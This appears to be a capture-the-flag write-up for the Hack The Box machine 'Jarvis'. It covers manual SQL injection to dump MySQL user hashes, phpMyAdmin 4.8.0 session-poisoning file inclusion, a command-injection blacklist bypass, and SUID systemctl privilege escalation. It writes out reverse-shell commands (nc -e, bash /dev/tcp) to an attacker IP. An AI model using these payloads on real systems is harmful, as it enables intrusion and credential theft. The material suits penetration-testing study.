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# HTB - Jarvis
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
### HTTP
add the domain to hosts
phpmyadmin version 4.8.0
clicking on book hotel generate the above request
not vulnerable to command injection.
sqlmap confirms the cod parameter is vulnerable to sql injection.
i can also confirm manually by sending seven columns i get the result
column 5 is the picture, 3- is the price 4- description, 2 - title.
i can dump the data through SQLMap but i am preferring manual way as it helps for OSCP.
### Manual SQL injection
Current Database : hotel
Current User: DBAdmin
there is only one table called room.
nothing interesting in the hotel database to check.
that said i will enumerate other databases.
```bash
GET /room.php?cod=10+UNION+SELECT+1,database(),group_concat(schema_name),current_user(),5,6,7+FROM+information_schema.schemata%3b--+-
```
there is mysql.
**Tables in MYSQL**
```bash
SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -
```
```bash
column_stats,columns_priv,db,event,func,general_log,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,host,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user
```
**Columns in table user in database Mysql**
```bash
SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -
```
Getting data from users table
```bash
SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
```
```bash
DBadmin : 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0
```
{% embed url="" %}
i can use the credentials for login through phpmyadmin login page.
phpmyadmin version is 4.8.0.
phpmyadmin 4.8.0 suffers from Remote File Inclusion Vulnerability
### File Inclusion in phpMyAdmin
{% embed url="" %}
That said i can try to get RCE by doing session poisoning.
grab your `phpMyAdminSessionID` (not `PHPSESSID` phpMyAdmin uses its own cookie name) or `PHPSESSID` cookie value from the browser/Burp.
phpMyAdmin logs your recent SQL activity into the PHP session file. Run a query containing a PHP payload as a **comment** so it's syntactically valid SQL but still gets logged with your PHP tags intact:
confirmed that said i will get a rce
## Shell as www-data
```
http://10.129.70.102/phpmyadmin/index.php?cmd=nc%20-e%20/bin/sh%2010.10.14.49%204444&target=db_sql.php%3f/../../../../../var/lib/php/sessions/sess_12j34b00n3b1ag7ejpi87hvpip2pqota
```
filters the ping command for code i need to escape it.
The `exec_ping()` function's blacklist blocks `&`, `;`, `-`, `` ` ``, `||`, `|` — but **`$()` (command substitution) is NOT blocked**.
```bash
echo 'bash -i >& /dev/tcp/10.10.14.49/5555 0>&1' > /tmp/rev.sh
chmod +x /tmp/rev.sh
```
## Shell as Pepper
looking for suid binaries revealed a uncommon one systemctl
### Systemctl suid abuse
```bash
cat > privesc.service << EOF
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.49 7777'
KillMode=process
Restart=on-failure
RestartSec=42s
[Install]
WantedBy=multi-user.target
EOF
```
```bash
pepper@jarvis:~$ /bin/systemctl link /home/pepper/privesc.service
/bin/systemctl link /home/pepper/privesc.service
Created symlink /etc/systemd/system/privesc.service -> /home/pepper/privesc.service.
```
```bash
/bin/systemctl start privesc
```
## Shell as Root
---
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